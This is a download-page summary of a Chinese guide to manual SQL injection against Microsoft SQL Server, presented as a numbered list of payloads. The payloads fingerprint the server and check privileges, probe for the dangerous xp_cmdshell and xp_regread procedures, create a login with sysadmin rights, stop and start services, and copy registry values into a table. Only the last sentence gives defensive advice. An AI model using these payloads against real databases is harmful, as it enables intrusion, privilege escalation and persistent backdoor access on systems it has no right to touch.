MsSQL手工注入攻防指南

需积分: 9 1 下载量 167 浏览量 更新于2024-09-11 收藏 14KB TXT 举报
"MsSQL手工注入是针对Microsoft SQL Server数据库的一种攻击方式,通过构造特定的SQL语句,尝试获取系统信息、权限验证或执行非法操作。这种攻击通常利用了应用程序中不安全的输入处理,使得攻击者能够绕过正常的安全控制。以下是一些常见的MsSQL手工注入技巧和命令: 1. 检查数据库存在性:`and exists (select * from sysobjects)` 可以用来判断是否存在MSSQL数据库,`tableName`替换为可能的表名,例如`syscolumns`。 2. 获取数据库版本:`and 1 = (select @@VERSION)` 用于查询MSSQL服务器的版本信息。 3. 获取当前数据库名称:`and 1 = (select db_name())` 返回当前所连接的数据库名称。 4. 获取服务器名称:`and 1 = (select @@servername)` 提供服务器的名称。 5. 检查系统管理员角色:`and 1 = (select IS_SRVROLEMEMBER('sysadmin'))` 判断用户是否为系统管理员。 6. 检查数据库所有者角色:`and 1 = (select IS_MEMBER('db_owner'))` 确认用户是否属于数据库所有者角色。 7. 检查是否有数据库访问权限:`and 1 = (select HAS_DBACCESS('master'))` 验证用户是否可以访问指定的数据库,如'master'。 8. 获取特定数据库ID的名称:`select name from master.dbo.sysdatabases where dbid=123` 根据数据库ID获取其名称。 9. 检查扩展存储过程的存在:例如`and 1 = (Select count(*) FROM master.dbo.sysobjects Where xtype='X' AND name='xp_cmdshell')` 检查`xp_cmdshell`是否存在,这是一个可执行操作系统命令的危险存储过程。 10. 检查注册表读取函数:`and 1 = (select count(*) FROM master.dbo.sysobjects WHERE name='xp_regread')` 验证能否执行注册表读取,可能用于获取系统信息。 11. 添加新登录并赋予系统管理员角色:`exec master.dbo.sp_addlogin test, password` 和 `exec master.dbo.sp_addsrvrolemember test, sysadmin` 分别用于创建新的登录名并赋予`sysadmin`权限,这在没有SA权限的情况下可能被用来获取高级权限。 12. 控制服务状态:`exec master..xp_servicecontrol 'stop', 'schedule'` 和 `exec master..xp_servicecontrol 'start', 'schedule'` 分别用于停止和启动服务,可能被用来影响系统的运行。 13. 创建测试表和读取注册表值:`create table labeng (lala varchar(255), id int)` 创建一个名为`labeng`的表,然后使用`xp_regread`读取注册表项,并将结果插入到表中。 这些示例展示了MsSQL手工注入的常见技术,它们可以用于探测系统漏洞,获取敏感信息,甚至完全控制系统。因此,对SQL查询进行严格的输入验证和参数化是防止此类攻击的关键措施。"